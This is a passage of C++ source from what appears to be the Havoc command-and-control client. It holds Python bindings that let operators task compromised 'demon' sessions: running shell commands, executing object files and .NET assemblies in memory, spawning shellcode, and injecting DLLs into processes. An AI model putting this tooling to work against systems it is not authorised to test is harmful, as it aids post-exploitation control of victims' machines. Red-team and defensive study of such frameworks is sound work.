].InteractedWidget->AutoCompleteAdd( CompleteText ); Sessions[ i ].InteractedWidget->AutoCompleteAdd( "help " + CompleteText ); } HavocX::Teamserver.AddedCommands << CompleteText; // Add new command HavocX::Teamserver.RegisteredModules.push_back( Module ); spdlog::debug( "Registered module: {}", Module.Name ); Py_RETURN_NONE; } PyObject* PythonAPI::Havoc::Core::RegisterCallback( PyObject *self, PyObject *args ) { spdlog::debug( "PythonAPI::Havoc::Core::RegisterCallback" ); PyObject* Callback = nullptr; if ( ! PyArg_ParseTuple( args, "O", &Callback ) ) { spdlog::error( "Invalid parameters on RegisterCallback" ); return nullptr; } if ( ! PyCallable_Check( Callback ) ) { spdlog::error( "The callback is not callable" ); return nullptr; } HavocX::Teamserver.RegisteredCallbacks.push_back( Callback ); Py_XINCREF( Callback ); Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/HavocUi.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include #include #include #include namespace PythonAPI::HavocUI { PyMethodDef PyMethode_HavocUI[] = { { "messagebox", PythonAPI::HavocUI::Core::MessageBox, METH_VARARGS, "Python interface for Havoc Messagebox" }, { "errormessage", PythonAPI::HavocUI::Core::ErrorMessage, METH_VARARGS, "Python interface for Havoc Error Message" }, { "createtab", PythonAPI::HavocUI::Core::CreateTab, METH_VARARGS, "Python interface for Havoc Tabs" }, { "inputdialog", PythonAPI::HavocUI::Core::InputDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "openfiledialog", PythonAPI::HavocUI::Core::OpenFileDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "savefiledialog", PythonAPI::HavocUI::Core::SaveFileDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "questiondialog", PythonAPI::HavocUI::Core::QuestionDialog, METH_VARARGS, "Python interface for Havoc InputDialog" }, { "colordialog", PythonAPI::HavocUI::Core::ColorDialog, METH_VARARGS, "Python interface for Havoc ColorDialog" }, { "progressdialog", PythonAPI::HavocUI::Core::ProgressDialog, METH_VARARGS, "Python interface for Havoc ColorDialog" }, { NULL, NULL, 0, NULL } }; namespace PyModule { struct PyModuleDef havocui = { PyModuleDef_HEAD_INIT, "havocui", "Python module for Havoc Interface UI", -1, PyMethode_HavocUI }; } } PyObject* PythonAPI::HavocUI::Core::CreateTab(PyObject *self, PyObject *args) { const char *title = nullptr; const char *in_menu = nullptr; if ( !HavocX::HavocUserInterface || !HavocX::HavocUserInterface->menubar ) { Py_RETURN_NONE; } Py_ssize_t tuple_size = PyTuple_Size(args); title = (const char *)PyUnicode_AsUTF8(PyTuple_GetItem(args, 0)); auto *menubar= HavocX::HavocUserInterface->menubar; auto tab = menubar->addMenu(title); if ( !tab ) { Py_RETURN_NONE; } for (Py_ssize_t i = 1; i < tuple_size; i+=2) { const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); PyObject* callable_obj = PyTuple_GetItem(args, i + 1); if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } auto tupleCallback = new QAction( HavocX::HavocUserInterface->HavocWindow ); tupleCallback->setObjectName(QString::fromUtf8(string_obj)); tupleCallback->setText(string_obj); tab->addAction(tupleCallback); QMainWindow::connect( tupleCallback, &QAction::triggered, HavocX::HavocUserInterface->HavocWindow, [callable_obj]() { PyObject_CallFunctionObjArgs(callable_obj, nullptr); }); } Py_RETURN_NONE; } PyObject* PythonAPI::HavocUI::Core::MessageBox(PyObject *self, PyObject *args) { char *title = nullptr, *content = nullptr; if( !PyArg_ParseTuple( args, "ss", &title, &content ) ) { Py_RETURN_NONE; } QFile messageBoxStyleSheets(":/stylesheets/MessageBox"); QMessageBox messageBox; messageBoxStyleSheets.open(QIODevice::ReadOnly); messageBox.setWindowTitle(title); messageBox.setText(content); messageBox.setIcon(QMessageBox::Information); messageBox.setStyleSheet(messageBoxStyleSheets.readAll()); messageBox.exec(); Py_RETURN_NONE; } PyObject* PythonAPI::HavocUI::Core::ErrorMessage(PyObject *self, PyObject *args) { char *message = nullptr; if( !PyArg_ParseTuple( args, "s", &message ) ) { Py_RETURN_NONE; } QErrorMessage* errorMessage = new QErrorMessage(HavocX::HavocUserInterface->HavocWindow); errorMessage->showMessage(message); Py_RETURN_NONE; } PyObject* PythonAPI::HavocUI::Core::QuestionDialog(PyObject *self, PyObject *args) { char *title = nullptr, *content = nullptr; if( !PyArg_ParseTuple( args, "ss", &title, &content ) ) { Py_RETURN_NONE; } QMessageBox::StandardButton result = QMessageBox::question(HavocX::HavocUserInterface->HavocWindow, title, content, QMessageBox::Yes | QMessageBox::No); if (result == QMessageBox::Yes) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } PyObject* PythonAPI::HavocUI::Core::InputDialog(PyObject *self, PyObject *args) { char *title = nullptr, *content = nullptr; if( !PyArg_ParseTuple( args, "ss", &title, &content ) ) { Py_RETURN_NONE; } QString data = QInputDialog::getText( HavocX::HavocUserInterface->HavocWindow, title, content); return PyBytes_FromString(data.toStdString().c_str()); } PyObject* PythonAPI::HavocUI::Core::OpenFileDialog(PyObject *self, PyObject *args) { char *title = nullptr; if( !PyArg_ParseTuple( args, "s", &title) ) { Py_RETURN_NONE; } QString data = QFileDialog::getOpenFileName( HavocX::HavocUserInterface->HavocWindow, title, QDir::homePath()); return PyBytes_FromString(data.toStdString().c_str()); } PyObject* PythonAPI::HavocUI::Core::SaveFileDialog(PyObject *self, PyObject *args) { char *title = nullptr; if( !PyArg_ParseTuple( args, "s", &title) ) { Py_RETURN_NONE; } QString data = QFileDialog::getSaveFileName( HavocX::HavocUserInterface->HavocWindow, title, QDir::homePath()); return PyBytes_FromString(data.toStdString().c_str()); } PyObject* PythonAPI::HavocUI::Core::ColorDialog(PyObject *self, PyObject *args) { QColorDialog data = QColorDialog(HavocX::HavocUserInterface->HavocWindow); QColor sel = data.getColor(); if (sel.isValid()) { QString colorHex = sel.name(); return PyBytes_FromString(colorHex.toStdString().c_str()); } else { Py_RETURN_NONE; } } PyObject* PythonAPI::HavocUI::Core::ProgressDialog(PyObject *self, PyObject *args) { char *title = nullptr; char *text= nullptr; int max_num = 0; PyObject* callable_obj = nullptr; if( !PyArg_ParseTuple( args, "ssOi", &title, &text, &callable_obj, &max_num) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QProgressDialog* dialog = new QProgressDialog(title, text, 0, max_num, HavocX::HavocUserInterface->HavocWindow); dialog->setAutoClose(false); QTimer* timer = new QTimer(); QMainWindow::connect( timer, &QTimer::timeout, HavocX::HavocUserInterface->HavocWindow, [callable_obj, dialog, timer]() { PyObject *pResult = PyObject_CallFunctionObjArgs(callable_obj, nullptr); if (pResult != NULL) { if (PyLong_Check(pResult)) { long resultInt = PyLong_AsLong(pResult); dialog->setValue(resultInt); if (resultInt < 0) { dialog->close(); timer->stop(); } } } else { PyErr_SetString(PyExc_TypeError, "Function needs to return an int"); dialog->close(); timer->stop(); } }); QPushButton *cancelButton = dialog->findChild(); QMainWindow::connect( cancelButton, &QPushButton::clicked, HavocX::HavocUserInterface->HavocWindow, [dialog, timer]() { dialog->close(); timer->stop(); }); timer->start(max_num); dialog->exec(); Py_RETURN_NONE; } PyMODINIT_FUNC PythonAPI::HavocUI::PyInit_HavocUI(void) { PyObject* Module = PyModule_Create2( &PythonAPI::HavocUI::PyModule::havocui, PYTHON_API_VERSION ); if ( PyType_Ready( &PyWidgetClass_Type ) < 0 ) spdlog::error( "Couldn't check if WidgetClass is ready" ); else PyModule_AddObject( Module, "Widget", (PyObject*) &PyWidgetClass_Type ); if ( PyType_Ready( &PyDialogClass_Type ) < 0 ) spdlog::error( "Couldn't check if DialogClass is ready" ); else PyModule_AddObject( Module, "Dialog", (PyObject*) &PyDialogClass_Type ); if ( PyType_Ready( &PyLoggerClass_Type ) < 0 ) spdlog::error( "Couldn't check if LoggerClass is ready" ); else PyModule_AddObject( Module, "Logger", (PyObject*) &PyLoggerClass_Type ); if ( PyType_Ready( &PyTreeClass_Type ) < 0 ) spdlog::error( "Couldn't check if TreeClass is ready" ); else PyModule_AddObject( Module, "Tree", (PyObject*) &PyTreeClass_Type ); return Module; } ================================================ FILE: client/src/Havoc/PythonApi/PyAgentClass.cc ================================================ #define PY_SSIZE_T_CLEAN #include #include #include #include #include PyMemberDef PyAgentClass_members[] = { { "CONSOLE_INFO", T_INT, offsetof( PyAgentClass, CONSOLE_INFO ), 0, "Console message type info" }, { "CONSOLE_ERROR", T_INT, offsetof( PyAgentClass, CONSOLE_ERROR ), 0, "Console message type error" }, { "CONSOLE_TASK", T_INT, offsetof( PyAgentClass, CONSOLE_TASK ), 0, "Console message type task" }, { NULL }, }; PyMethodDef PyAgentClass_methods[] = { { "ConsoleWrite", ( PyCFunction ) AgentClass_ConsoleWrite, METH_VARARGS, "Prints messages to the demon sessions console" }, { "Command", ( PyCFunction ) AgentClass_Command, METH_VARARGS, "Send a command to the agent" }, { NULL }, }; PyTypeObject PyAgentClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havoc.Agent", /* tp_name */ sizeof( PyAgentClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) AgentClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Demon Session Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyAgentClass_methods, /* tp_methods */ PyAgentClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) AgentClass_init, /* tp_init */ 0, /* tp_alloc */ AgentClass_new, /* tp_new */ }; void AgentClass_dealloc( PPyAgentClass self ) { Py_XDECREF( self->AgentID ); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } PyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyAgentClass self; self = ( PPyAgentClass ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds ) { PCHAR AgentID = nullptr; if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; /* TODO: add keyword "Agent" to tell it what agent it should check for * just in case. */ if ( ! PyArg_ParseTuple( args, "s", &AgentID ) ) return -1; for ( auto & Agent : HavocX::Teamserver.Sessions ) { if ( Agent.Name.compare( AgentID ) == 0 ) { AllocMov( self->AgentID, Agent.Name.toStdString().c_str(), Agent.Name.size() ); self->CONSOLE_INFO = 1; self->CONSOLE_ERROR = 2; self->CONSOLE_TASK = 3; } } return 0; } PyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args ) { u32 Type = 0; char* Message = NULL; if( ! PyArg_ParseTuple( args, "is", &Type, &Message ) ) Py_RETURN_NONE; for ( auto& d : HavocX::Teamserver.Sessions ) { if ( d.Name.compare( self->AgentID ) == 0 ) { if ( Type == self->CONSOLE_INFO ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Green( "[+]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_ERROR ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Red( "[!]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_TASK ) { auto TaskID = QString( Util::gen_random( 8 ).c_str() ); d.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Message; return PyUnicode_FromString( TaskID.toStdString().c_str() ); } } } Py_RETURN_NONE; } PyObject* AgentClass_Command( PPyAgentClass self, PyObject *args ) { PCHAR TaskID = NULL; PCHAR Name = NULL; PCHAR CommandArg = NULL; auto CommandLen = 0; auto Command = QByteArray(); if ( ! PyArg_ParseTuple( args, "ssO", &TaskID, &Name, &CommandArg ) ) Py_RETURN_NONE; CommandLen = PyBytes_GET_SIZE( CommandArg ); CommandArg = PyBytes_AS_STRING( CommandArg ); Command = QByteArray( CommandArg, CommandLen ); for ( auto& d : HavocX::Teamserver.Sessions ) { if ( d.Name.compare( self->AgentID ) == 0 ) { /* send command to agent handler */ d.InteractedWidget->DemonCommands->Execute.AgentCommand( QMap{ { "TaskID", TaskID }, { "CommandLine", "" }, { "DemonID", d.Name.toStdString() }, { "Command", Name }, { "CommandArg", Command.toBase64().toStdString() }, } ); break; } } Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/PyDemonClass.cc ================================================ #define PY_SSIZE_T_CLEAN #include #include #include #include #include #include PyMemberDef PyDemonClass_members[] = { { "Listener", T_STRING, offsetof( PyDemonClass, Listener ), 0, "Listener name" }, { "DemonID", T_STRING, offsetof( PyDemonClass, DemonID ), 0, "Listener name" }, { "ExternalIP", T_STRING, offsetof( PyDemonClass, ExternalIP ), 0, "External IP" }, { "InternalIP", T_STRING, offsetof( PyDemonClass, InternalIP ), 0, "Internal IP" }, { "User", T_STRING, offsetof( PyDemonClass, User ), 0, "Username" }, { "Computer", T_STRING, offsetof( PyDemonClass, Computer ), 0, "Computer" }, { "Domain", T_STRING, offsetof( PyDemonClass, Domain ), 0, "Domain" }, { "OS", T_STRING, offsetof( PyDemonClass, OS ), 0, "Windows Version" }, { "OSBuild", T_STRING, offsetof( PyDemonClass, OSBuild ), 0, "Windows OS Build" }, { "OSArch", T_STRING, offsetof( PyDemonClass, OSArch ), 0, "Windows Architecture" }, { "ProcessName", T_STRING, offsetof( PyDemonClass, ProcessName ), 0, "Process Name" }, { "ProcessID", T_STRING, offsetof( PyDemonClass, ProcessID ), 0, "Process ID" }, { "ProcessArch", T_STRING, offsetof( PyDemonClass, ProcessArch ), 0, "Process Architecture" }, { "CONSOLE_INFO", T_INT, offsetof( PyDemonClass, CONSOLE_INFO ), 0, "Console message type info" }, { "CONSOLE_ERROR", T_INT, offsetof( PyDemonClass, CONSOLE_ERROR ), 0, "Console message type error" }, { "CONSOLE_TASK", T_INT, offsetof( PyDemonClass, CONSOLE_TASK ), 0, "Console message type task" }, { NULL }, }; PyMethodDef PyDemonClass_methods[] = { { "ConsoleWrite", ( PyCFunction ) DemonClass_ConsoleWrite, METH_VARARGS, "Prints messages to the demon sessions console" }, { "ProcessCreate", ( PyCFunction ) DemonClass_ProcessCreate, METH_VARARGS, "Creates a Process" }, { "InlineExecute", ( PyCFunction ) DemonClass_InlineExecute, METH_VARARGS, "Executes a coff file in the context of the demon sessions" }, { "InlineExecuteGetOutput", ( PyCFunction ) DemonClass_InlineExecuteGetOutput, METH_VARARGS, "Executes a coff file in the context of the demon sessions and get the output via a callback" }, { "DllSpawn", ( PyCFunction ) DemonClass_DllSpawn, METH_VARARGS, "Spawn and injects a reflective dll and get output from it" }, { "DllInject", ( PyCFunction ) DemonClass_DllInject, METH_VARARGS, "Injects a reflective dll into a specified process" }, { "DotnetInlineExecute", ( PyCFunction ) DemonClass_DotnetInlineExecute, METH_VARARGS, "Executes a dotnet assembly in the context of the demon sessions" }, { "Command", ( PyCFunction ) DemonClass_Command, METH_VARARGS, "Run a command" }, { "CommandGetOutput", ( PyCFunction ) DemonClass_CommandGetOutput, METH_VARARGS, "Run a command and retreive the output" }, { "ShellcodeSpawn", ( PyCFunction ) DemonClass_ShellcodeSpawn, METH_VARARGS, "Executes shellcode spawning a new process" }, { NULL }, }; PyTypeObject PyDemonClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havoc.Demon", /* tp_name */ sizeof( PyDemonClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) DemonClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Demon Session Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyDemonClass_methods, /* tp_methods */ PyDemonClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) DemonClass_init, /* tp_init */ 0, /* tp_alloc */ DemonClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void DemonClass_dealloc( PPyDemonClass self ) { Py_XDECREF( self->Listener ); Py_XDECREF( self->DemonID ); Py_XDECREF( self->ExternalIP ); Py_XDECREF( self->InternalIP ); Py_XDECREF( self->User ); Py_XDECREF( self->Computer ); Py_XDECREF( self->Domain ); Py_XDECREF( self->OS ); Py_XDECREF( self->OSBuild ); Py_XDECREF( self->OSArch ); Py_XDECREF( self->ProcessName ); Py_XDECREF( self->ProcessID ); Py_XDECREF( self->ProcessArch ); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } PyObject* DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyDemonClass self; self = ( PPyDemonClass ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds ) { if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; char* DemonID = NULL; auto DemonSessions = HavocX::Teamserver.Sessions; uint32_t NumberOfSessions = DemonSessions.size(); const char* kwdlist[] = { "DemonID", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s", const_cast(kwdlist), &DemonID ) ) return -1; for ( int i = 0; i < NumberOfSessions; ++i ) { if ( DemonSessions[ i ].Name.compare( DemonID ) == 0 ) { /* seems like we are trying to use an 3rd party agent. */ if ( DemonSessions[ i ].MagicValue != DemonMagicValue ) { spdlog::error( "[PyError] specified id is not a demon agent" ); PyErr_SetString( PyExc_TypeError, "specified id is not a demon agent" ); return -1; } AllocMov( self->Listener, DemonSessions[ i ].Listener.toStdString().c_str(), DemonSessions[ i ].Listener.size() ); AllocMov( self->DemonID, DemonSessions[ i ].Name.toStdString().c_str(), DemonSessions[ i ].Name.size() ); AllocMov( self->ExternalIP, DemonSessions[ i ].External.toStdString().c_str(), DemonSessions[ i ].External.size() ); AllocMov( self->InternalIP, DemonSessions[ i ].Internal.toStdString().c_str(), DemonSessions[ i ].Internal.size() ); AllocMov( self->User, DemonSessions[ i ].User.toStdString().c_str(), DemonSessions[ i ].User.size() ); AllocMov( self->Computer, DemonSessions[ i ].Computer.toStdString().c_str(), DemonSessions[ i ].Computer.size() ); AllocMov( self->Domain, DemonSessions[ i ].Domain.toStdString().c_str(), DemonSessions[ i ].Domain.size() ); AllocMov( self->OS, DemonSessions[ i ].OS.toStdString().c_str(), DemonSessions[ i ].OS.size() ); AllocMov( self->OSBuild, DemonSessions[ i ].OSBuild.toStdString().c_str(), DemonSessions[ i ].OSBuild.size() ); AllocMov( self->OSArch, DemonSessions[ i ].OSArch.toStdString().c_str(), DemonSessions[ i ].OSArch.size() ); AllocMov( self->ProcessName, DemonSessions[ i ].Process.toStdString().c_str(), DemonSessions[ i ].Process.size() ); AllocMov( self->ProcessID, DemonSessions[ i ].PID.toStdString().c_str(), DemonSessions[ i ].PID.size() ); AllocMov( self->ProcessArch, DemonSessions[ i ].Arch.toStdString().c_str(), DemonSessions[ i ].Arch.size() ); self->CONSOLE_INFO = 1; self->CONSOLE_ERROR = 2; self->CONSOLE_TASK = 3; } } return 0; } // Methods // Demon.shell( TaskID: str, ShellCommands: str ) PyObject* DemonClass_Shell( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* ShellArgs = NULL; if ( ! PyArg_ParseTuple( args, "ss", &TaskID, &ShellArgs ) ) return NULL; for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { // Sessions.InteractedWidget->DemonCommands->Execute.Spawn( TaskID, R"(C:\Windows\System32\cmd.exe \c )" + QString( ShellArgs ) ); break; } } Py_RETURN_NONE; } // Demon.InlineExecute( TaskID: str, EntryFunc: str, Path: str, Args: str, Threaded: bool ) PyObject* DemonClass_InlineExecute( PPyDemonClass self, PyObject *args ) { spdlog::debug( "[PyApi] Demon::InlineExecute" ); char* TaskID = nullptr; char* EntryFunc = nullptr; char* Path = nullptr; PyObject* PyArgBytes = nullptr; auto Flags = QString(); PyObject* Threaded = nullptr; if ( ! PyArg_ParseTuple( args, "sssSO", &TaskID, &EntryFunc, &Path, &PyArgBytes, &Threaded ) ) return nullptr; if ( PyObject_IsTrue( Threaded ) == true ) { Flags = "threaded"; spdlog::debug( "execute object file in threaded" ); } else { Flags = "non-threaded"; spdlog::debug( "execute object file in non-threaded" ); } for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( Path ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open object file path: " + QString( Path ) ); } else { auto ArgSize = PyBytes_GET_SIZE( PyArgBytes ); auto ObjArgs = PyBytes_AS_STRING( PyArgBytes ); auto ArgsByteArray = QByteArray( ObjArgs, ArgSize ); Sessions.InteractedWidget->DemonCommands->Execute.InlineExecute( ( char* ) TaskID, ( char* ) EntryFunc, ( char* ) Path, ArgsByteArray, Flags ); } break; } } Py_RETURN_NONE; } PyObject* DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args ) { spdlog::debug( "[PyApi] Demon::InlineExecuteGetOutput" ); char* TaskID = nullptr; char* EntryFunc = nullptr; char* Path = nullptr; PyObject* PyArgBytes = nullptr; auto Flags = QString(); PyObject* Callback = nullptr; if ( ! PyArg_ParseTuple( args, "OssS", &Callback, &EntryFunc, &Path, &PyArgBytes ) ) { spdlog::error( "Invalid parameters on InlineExecuteGetOutput" ); return nullptr; } // InlineExecuteGetOutput only works in "non-threaded" mode // this is to avoid "RequestID" mixups Flags = "non-threaded"; if ( ! PyCallable_Check( Callback ) ) { spdlog::error( "The callback is not callable" ); return nullptr; } for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( Path ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open object file path: " + QString( Path ) ); } else { auto ArgSize = PyBytes_GET_SIZE( PyArgBytes ); auto ObjArgs = PyBytes_AS_STRING( PyArgBytes ); auto ArgsByteArray = QByteArray( ObjArgs, ArgSize ); // create a new TaskID auto TaskID = QString( Util::gen_random( 8 ).c_str() ); // save it the TaskID and the callback function Sessions.TaskIDToPythonCallbacks.insert(pair(TaskID, Callback)); Py_XINCREF(Callback); Sessions.InteractedWidget->DemonCommands->Execute.InlineExecuteGetOutput( ( char* ) TaskID.toStdString().c_str(), ( char* ) EntryFunc, ( char* ) Path, ArgsByteArray, Flags ); return PyUnicode_FromString( TaskID.toStdString().c_str() ); } break; } } Py_RETURN_NONE; } // Demon.DotnetInlineExecute( TaskID: str, Path: str, Args: str ) PyObject* DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Path = NULL; char* Arguments = NULL; if ( ! PyArg_ParseTuple( args, "sss", &TaskID, &Path, &Arguments ) ) return NULL; for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { Sessions.InteractedWidget->DemonCommands->Execute.AssemblyInlineExecute( TaskID, Path, Arguments ); break; } } Py_RETURN_NONE; } PyObject* DemonClass_Command( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Command = NULL; if ( ! PyArg_ParseTuple( args, "ss", &TaskID, &Command ) ) return NULL; for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( self->DemonID ) == 0 ) { Session.InteractedWidget->DemonCommands->DispatchCommand( true, TaskID, Command ); break; } } Py_RETURN_NONE; } PyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Command = NULL; PyObject* Callback = nullptr; if ( ! PyArg_ParseTuple( args, "ssO", &TaskID, &Command, &Callback) ) return NULL; if ( ! PyCallable_Check( Callback ) ) { spdlog::error( "The callback is not callable" ); return nullptr; } for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( self->DemonID ) == 0 ) { //auto TaskID = QString( Util::gen_random( 8 ).c_str() ); // TODO: In the future if the Demon returns back the command // ID this section can be changed to a list in the same way // of BOF_callback. Currently there is no way to match a request // to data received for regular commands to we hook the callback // to work with the next one received. HavocX::callbackMessage = Callback; Py_XINCREF(Callback); Session.InteractedWidget->DemonCommands->DispatchCommand( true, TaskID, Command ); break; } } Py_RETURN_NONE; } // ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) PyObject* DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* InjectTechnique = NULL; char* TargetArch = NULL; char* ShellcodePath = NULL; char* ShellcodeArgs = NULL; int ArgSize = 0; auto ArgsByteArray = QByteArray(); spdlog::debug( "Running ShellcodeSpawn from python API" ); if ( ! PyArg_ParseTuple( args, "ssssO", &TaskID, &InjectTechnique, &TargetArch, &ShellcodePath, &ShellcodeArgs ) ) return NULL; ArgSize = PyBytes_GET_SIZE( ShellcodeArgs ); ShellcodeArgs = PyBytes_AS_STRING( ShellcodeArgs ); ArgsByteArray = QByteArray( ShellcodeArgs, ArgSize ); for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( ShellcodePath ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open shellcode path: " + QString( ShellcodePath ) ); } else { Sessions.InteractedWidget->DemonCommands->Execute.ShellcodeSpawn( TaskID, InjectTechnique, TargetArch, ShellcodePath, ArgsByteArray ); } break; } } Py_RETURN_NONE; } // Demon.DllInject( TaskID: str, Pid: str, DllPath: str, DllArgs: str ) PyObject* DemonClass_DllInject( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* Pid = NULL; char* DllPath = NULL; char* DllArgs = NULL; if ( ! PyArg_ParseTuple( args, "ssss", &TaskID, &Pid, &DllPath, &DllArgs ) ) return NULL; for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { Sessions.InteractedWidget->DemonCommands->Execute.DllInject( TaskID, Pid, DllPath, DllArgs ); break; } } Py_RETURN_NONE; } // Demon.DllInject( TaskID: str, DllPath: str, DllArgs: str ) PyObject* DemonClass_DllSpawn( PPyDemonClass self, PyObject *args ) { char* TaskID = NULL; char* DllPath = NULL; char* DllArgs = NULL; int ArgSize = 0; auto ArgsByteArray = QByteArray(); if ( ! PyArg_ParseTuple( args, "ssO", &TaskID, &DllPath, &DllArgs ) ) return NULL; ArgSize = PyBytes_GET_SIZE( DllArgs ); DllArgs = PyBytes_AS_STRING( DllArgs ); ArgsByteArray = QByteArray( DllArgs, ArgSize ); for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { if ( FileRead( DllPath ) == nullptr ) { Sessions.InteractedWidget->AppendRaw(); Sessions.InteractedWidget->TaskError( "Failed to open dll path: " + QString( DllPath ) ); } else { Sessions.InteractedWidget->DemonCommands->Execute.DllSpawn( TaskID, DllPath, ArgsByteArray ); } break; } } Py_RETURN_NONE; } // Demon.ProcessCreate( TaskID: str App: str, Cmdline: str, Suspended: bool, Piped: bool, Verbose: bool ) PyObject* DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args ) { PCHAR TaskID = nullptr; PCHAR App = nullptr; PCHAR CmdLine = nullptr; PyObject* Suspended = nullptr; PyObject* Piped = nullptr; PyObject* Verbose = nullptr; auto ProcArg = QString(); if ( ! PyArg_ParseTuple( args, "sssOOO", &TaskID, &App, &CmdLine, &Suspended, &Piped, &Verbose ) ) Py_RETURN_NONE; if ( PyObject_IsTrue( Suspended ) ) ProcArg += "4"; else ProcArg += "0"; if ( ! QString( App ).isEmpty() ) ProcArg += ";" + QString( App ); else ProcArg += ";"; if ( PyObject_IsTrue( Verbose ) ) ProcArg += ";TRUE"; else ProcArg += ";FALSE"; if ( PyObject_IsTrue( Piped ) ) ProcArg += ";TRUE"; else ProcArg += ";FALSE"; ProcArg += ";" + QString( CmdLine ).toUtf8().toBase64(); for ( auto& Sessions : HavocX::Teamserver.Sessions ) { if ( Sessions.Name.compare( self->DemonID ) == 0 ) { Sessions.InteractedWidget->DemonCommands->Execute.ProcModule( TaskID, 4, ProcArg ); break; } } Py_RETURN_NONE; } // Other Methods PyObject* DemonClass_ConsoleWrite( 